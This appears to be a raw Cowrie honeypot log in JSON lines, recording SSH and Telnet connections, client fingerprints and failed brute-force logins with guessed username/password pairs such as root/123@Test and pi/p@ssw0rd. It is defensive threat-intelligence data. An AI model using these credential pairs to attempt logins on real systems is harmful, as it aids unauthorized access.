{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:25.130061Z","src_ip":"141.11.88.14","session":"cc385a9d4b05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:25.136755Z","src_ip":"141.11.88.14","session":"cc385a9d4b05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"p@ssw0rd","message":"login attempt [pi/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:26.564290Z","src_ip":"141.11.88.14","session":"cc385a9d4b05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:27.650083Z","src_ip":"141.11.88.14","session":"cc385a9d4b05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":36824,"dst_ip":"10.17.0.5","dst_port":22,"session":"da0253bd61f1","protocol":"ssh","message":"New connection: 103.143.231.24:36824 (10.17.0.5:22) [session: da0253bd61f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:28.280098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:28.284202Z","src_ip":"103.143.231.24","session":"da0253bd61f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:28.353468Z","src_ip":"103.143.231.24","session":"da0253bd61f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@Test","message":"login attempt [root/123@Test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:28.665905Z","src_ip":"103.143.231.24","session":"da0253bd61f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:29.737590Z","src_ip":"103.143.231.24","session":"da0253bd61f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.35912537574768,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:30.884367Z","src_ip":"172.81.62.90","session":"812cedd2e345","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":25686,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d27fad44c20","protocol":"ssh","message":"New connection: 141.11.88.14:25686 (10.17.0.5:22) [session: 7d27fad44c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:33.188652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:33.392996Z","src_ip":"141.11.88.14","session":"7d27fad44c20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:33.395972Z","src_ip":"141.11.88.14","session":"7d27fad44c20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"123456","message":"login attempt [user3/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:34.393365Z","src_ip":"141.11.88.14","session":"7d27fad44c20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:35.689883Z","src_ip":"141.11.88.14","session":"7d27fad44c20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34688,"dst_ip":"159.203.135.109","dst_port":23,"session":"1277969aaa39","protocol":"telnet","message":"New connection: 128.199.8.54:34688 (159.203.135.109:23) [session: 1277969aaa39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:35.719433Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55384,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5c49c8a445b","protocol":"telnet","message":"New connection: 172.81.62.90:55384 (159.203.135.109:23) [session: c5c49c8a445b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:35.934267Z"}
{"eventid":"cowrie.session.closed","duration":40.348204135894775,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:36.523758Z","src_ip":"128.199.8.54","session":"b01ceb62b4cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":41110,"dst_ip":"159.203.135.109","dst_port":22,"session":"41e7efb0b0f3","protocol":"ssh","message":"New connection: 94.159.110.201:41110 (159.203.135.109:22) [session: 41e7efb0b0f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:38.660042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:38.664241Z","src_ip":"94.159.110.201","session":"41e7efb0b0f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:38.780820Z","src_ip":"94.159.110.201","session":"41e7efb0b0f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"101019","message":"login attempt [root/101019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:39.131787Z","src_ip":"94.159.110.201","session":"41e7efb0b0f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:40.252278Z","src_ip":"94.159.110.201","session":"41e7efb0b0f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":14252,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0d65642c6f8","protocol":"ssh","message":"New connection: 141.11.88.14:14252 (10.17.0.5:22) [session: b0d65642c6f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:41.697480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:41.782788Z","src_ip":"141.11.88.14","session":"b0d65642c6f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:41.786264Z","src_ip":"141.11.88.14","session":"b0d65642c6f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer123","message":"login attempt [deployer/deployer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:42.523922Z","src_ip":"141.11.88.14","session":"b0d65642c6f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":50724,"dst_ip":"10.17.0.5","dst_port":22,"session":"a65591aa3ef9","protocol":"ssh","message":"New connection: 197.5.145.150:50724 (10.17.0.5:22) [session: a65591aa3ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:42.813419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:42.817764Z","src_ip":"197.5.145.150","session":"a65591aa3ef9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:42.939321Z","src_ip":"197.5.145.150","session":"a65591aa3ef9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ba123456","message":"login attempt [root/Ba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:43.453439Z","src_ip":"197.5.145.150","session":"a65591aa3ef9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:43.609679Z","src_ip":"141.11.88.14","session":"b0d65642c6f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:44.575918Z","src_ip":"197.5.145.150","session":"a65591aa3ef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38418,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2f6aac7183c","protocol":"telnet","message":"New connection: 128.199.8.54:38418 (159.203.135.109:23) [session: b2f6aac7183c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:47.823412Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":54962,"dst_ip":"159.203.135.109","dst_port":23,"session":"26e4bc592700","protocol":"telnet","message":"New connection: 107.6.151.170:54962 (159.203.135.109:23) [session: 26e4bc592700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:48.218441Z"}
{"eventid":"cowrie.session.closed","duration":0.010741949081420898,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:48.229055Z","src_ip":"107.6.151.170","session":"26e4bc592700","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":12402,"dst_ip":"10.17.0.5","dst_port":22,"session":"c26a5851c0fe","protocol":"ssh","message":"New connection: 141.11.88.14:12402 (10.17.0.5:22) [session: c26a5851c0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:49.903872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:49.966467Z","src_ip":"141.11.88.14","session":"c26a5851c0fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:50.050826Z","src_ip":"141.11.88.14","session":"c26a5851c0fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.253.37.225","src_port":58410,"dst_ip":"159.203.135.109","dst_port":22,"session":"550fbe439b3a","protocol":"ssh","message":"New connection: 211.253.37.225:58410 (159.203.135.109:22) [session: 550fbe439b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:50.648773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:50.655604Z","src_ip":"211.253.37.225","session":"550fbe439b3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:50.856875Z","src_ip":"211.253.37.225","session":"550fbe439b3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@123","message":"login attempt [root/abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:50.869830Z","src_ip":"141.11.88.14","session":"c26a5851c0fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.195.17","src_port":48542,"dst_ip":"10.17.0.5","dst_port":22,"session":"68a553e0cd02","protocol":"ssh","message":"New connection: 101.96.195.17:48542 (10.17.0.5:22) [session: 68a553e0cd02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:51.459972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:51.466631Z","src_ip":"101.96.195.17","session":"68a553e0cd02","protocol":"ssh"}
